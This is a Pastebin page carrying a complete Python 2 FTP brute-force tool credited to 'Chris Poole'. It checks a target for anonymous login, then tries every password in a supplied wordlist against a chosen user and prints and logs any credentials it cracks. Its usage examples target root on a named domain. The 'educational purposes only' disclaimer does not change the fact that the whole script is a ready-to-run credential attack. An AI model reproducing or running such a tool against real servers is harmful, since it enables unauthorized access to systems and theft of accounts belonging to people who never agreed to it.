Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/python
- # -*- coding: utf-8 -*-
- ############################################################
- # ______ _______ _____ ____ _ #
- # | ____|__ __| __ \ | _ \ | | #
- # | |__ | | | |__) |_____| |_) |_ __ _ _| |_ ___ #
- # | __| | | | ___/______| _ | |__| | | | __/ _ \ #
- # | | | | | | | |_) | | | |_| | || __/ #
- # |_| |_| |_| |____/|_| \__,_|\__\___| #
- # #
- ############################################################
- #This program was made for educational purposes only, using
- #for malicious use is strictly forbidden, I'm not responsible
- #for any misuse of this program, Copy rights pend to Chris Poole.
- ################################################################
- # _____ _ _ _ __ #
- # / ____| | (_) | _ \ \ #
- # | | _ __ ___ __| |_| |_ ___ (_) | | #
- # | | | '__/ _ \/ _` | | __/ __| | | #
- # | |____| | | __/ (_| | | |_\__ \ _ | | #
- # \_____|_| \___|\__,_|_|\__|___/ (_) | | #
- # /_/ #
- # #
- ################################################################
- # http://twitter.com/codingplanets // Chris Poole #
- ################################################################
- import sys
- import time
- import os
- from ftplib import FTP
- if sys.platform == 'linux-i386' or sys.platform == 'linux2' or sys.platform == 'darwin':
- SysCls = 'clear'
- elif sys.platform == 'win32' or sys.platform == 'dos' or sys.platform[0:5] == 'ms-dos':
- SysCls = 'cls'
- else:
- SysCls = 'unknown'
- log = "ftpbrute.log"
- face = '''
- ______ _______ _____ ____ _
- | ____|__ __| __ \ | _ \ | |
- | |__ | | | |__) | ____ | |_) |_ __ _ _| |_ ___
- | __| | | | ___/ ____ | _ | |__| | | | __/ _ \
- | | | | | | | |_) | | | |_| | || __/
- |_| |_| |_| |____/|_| \__,_|\__\___|
- FTP = File Transfer Protocol
- Bruteforcing = Retriving login access with a passwordlist
- ___________________________________________________________________
- '''
- option = '''
- Usage: python ftpbrute.py [options]
- Options: -t, <hostname/ip> | Target to bruteforcing
- -u, <user> | User for bruteforcing
- -w, <filename> | Passwords used for bruteforcing
- -h, <help> | print this help
- Example: python ftpbrute.py -t 192.168.1.1 -u root -w passwords.txt
- Example: python ftpbrute.py -t binarysec.org -u root -w list.txt
- ___________________________________________________________________
- '''
- file = open(log, "a")
- def MyFace() :
- os.system(SysCls)
- print face
- file.write(face)
- print option
- def HelpMe() :
- MyFace()
- file.write(option)
- sys.exit(1)
- for arg in sys.argv:
- if arg.lower() == '-t' or arg.lower() == '--target':
- hostname = sys.argv[int(sys.argv[1:].index(arg))+2]
- elif arg.lower() == '-u' or arg.lower() == '--user':
- user = sys.argv[int(sys.argv[1:].index(arg))+2]
- elif arg.lower() == '-w' or arg.lower() == '--wordlist':
- wordlist = sys.argv[int(sys.argv[1:].index(arg))+2]
- elif arg.lower() == '-h' or arg.lower() == '--help':
- HelpMe()
- elif len(sys.argv) <= 1:
- HelpMe()
- def checkanony() :
- try:
- print "\n[+] Checking for anonymous login\n"
- ftp = FTP(hostname)
- ftp.login()
- ftp.retrlines('LIST')
- print "\n[!] Anonymous login successfuly !\n"
- ftp.quit()
- except Exception, e:
- print "\n[-] Anonymous login unsuccessful...\n"
- pass
- def BruteForce(word) :
- sys.stdout.write ("\r[?]Trying : %s " % (word))
- sys.stdout.flush()
- file.write("\n[?]Trying :"+word)
- try:
- ftp = FTP(hostname)
- ftp.login(user, word)
- ftp.retrlines('list')
- ftp.quit()
- print "\n\t[!] Login Success ! "
- print "\t[!] Username : ",user, ""
- print "\t[!] Password : ",word, ""
- print "\t[!] Hostname : ",hostname, ""
- print "\n\tThank you for using my FTP bruteforcer! :)"
- print "\n\tCredits | @codingplanets | Chris Poole"
- print "\n\t "
- print "\t[!] Log all has been saved to",log,"\n"
- file.write("\n\n\t[!] Login Success ! ")
- file.write("\n\t[!] Username : "+user )
- file.write("\n\t[!] Password : "+word )
- file.write("\n\t[!] Hostname : "+hostname)
- file.write("\n\t[!] Log all has been saved to "+log)
- file.write("\n\n\tThank you for using my FTP bruteforcer! :)")
- file.write("\n\n\tCredits | @codingplanets | Chris Poole")
- file.write("\n\n\t ")
- sys.exit(1)
- except Exception, e:
- #print "[-] Failed"
- pass
- except KeyboardInterrupt:
- print "\n[-] Aborting...\n"
- file.write("\n[-] Aborting...\n")
- sys.exit(1)
- MyFace()
- print "[!] Starting attack at %s" % time.strftime("%X")
- print "[!] System Activated for brute forcing..."
- print "[!] Please wait until brute forcing finish !\n"
- file.write("\n[!] Starting attack at %s" % time.strftime("%X"))
- file.write("\n[!] System Activated for brute forcing...")
- file.write("\n[!] Please wait until brute forcing finish !\n")
- checkanony()
- try:
- preventstrokes = open(wordlist, "r")
- words = preventstrokes.readlines()
- count = 0
- while count < len(words):
- words[count] = words[count].strip()
- count += 1
- except(IOError):
- print "\n[-] Error: Check your wordlist path\n"
- file.write("\n[-] Error: Check your wordlist path\n")
- sys.exit(1)
- print "\n[+] Loaded:",len(words),"words"
- print "[+] Server :",hostname
- print "[+] User :",user
- print "[+] BruteForcing...\n"
- for word in words:
- BruteForce(word.replace("\n",""))
- file.close()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement